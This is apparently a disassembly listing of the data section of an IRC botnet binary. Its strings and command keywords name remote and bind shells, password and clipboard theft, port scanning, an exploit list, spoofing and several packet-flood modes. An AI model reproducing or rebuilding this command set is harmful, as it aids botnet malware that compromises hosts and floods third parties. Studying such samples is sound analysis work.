		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42BC60	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC9C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCC4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCD4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCE0	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCF0	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BD00	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 10h
unk_42BD30	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 10h
unk_42BD80	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDAC	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDC4	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 10h
dword_42BE00	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE20	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE24	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE3C	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE74	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE8C	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BEA4	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEBC	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BED4	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BF10	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF34	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF54	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF6C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF8C	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFB4	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
unk_42BFE0	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFFC	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C014	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42C040	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C064	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42C090	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0BC	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42C0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C11C	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C158	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C194	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1D0	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C20C	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42C240	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 10h
unk_42C260	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C298	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2D4	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C354	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 10h
unk_42C390	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C44C	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 10h
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4F4	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 4
unk_42C528	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C558	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C56C	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C570	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C57C	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 4
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 10h
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; ___:00438780o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C630	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C654	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
					; ___:0043878Co ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 10h
aS_0:					; DATA XREF: sub_401ACD+1633o
					; ___:00438798o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1609o
					; ___:off_438770o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 4
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 10h
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C714	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C734	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 4
dword_42C758	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 10h
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 10h
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 4
dword_42C7A8	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 10h
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7F0	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C824	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C834	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C844	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C854	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C864	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C870	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C87C	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C888	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 10h
dword_42C8A0	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8AC	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8C4	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8D4	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 10h
dword_42C8F0	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C900	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 4
dword_42C91C	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C928	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C93C	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C948	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C954	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C960	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C970	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 10h
dword_42C990	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C99C	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9B0	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 4
dword_42C9CC	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 4
dword_42C9E8	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 10h
dword_42CA10	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 10h
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 10h
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 10h
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 10h
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAB4:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 10h
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
aK:					; DATA XREF: sub_401ACD+A9Fo
					; sub_401ACD+3DBCo ...
		unicode	0, <k>,0
aC:					; DATA XREF: sub_401ACD+A87o
					; sub_401ACD+4AA4o
		unicode	0, <c>,0
unk_42CAFC	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_42CB30	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_42CB60	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42CB98	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 10h
unk_42CBC0	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CC04	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_42CC40	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC58	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC60	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC7C	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC88	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 4
dword_42CCC8	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCD0	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
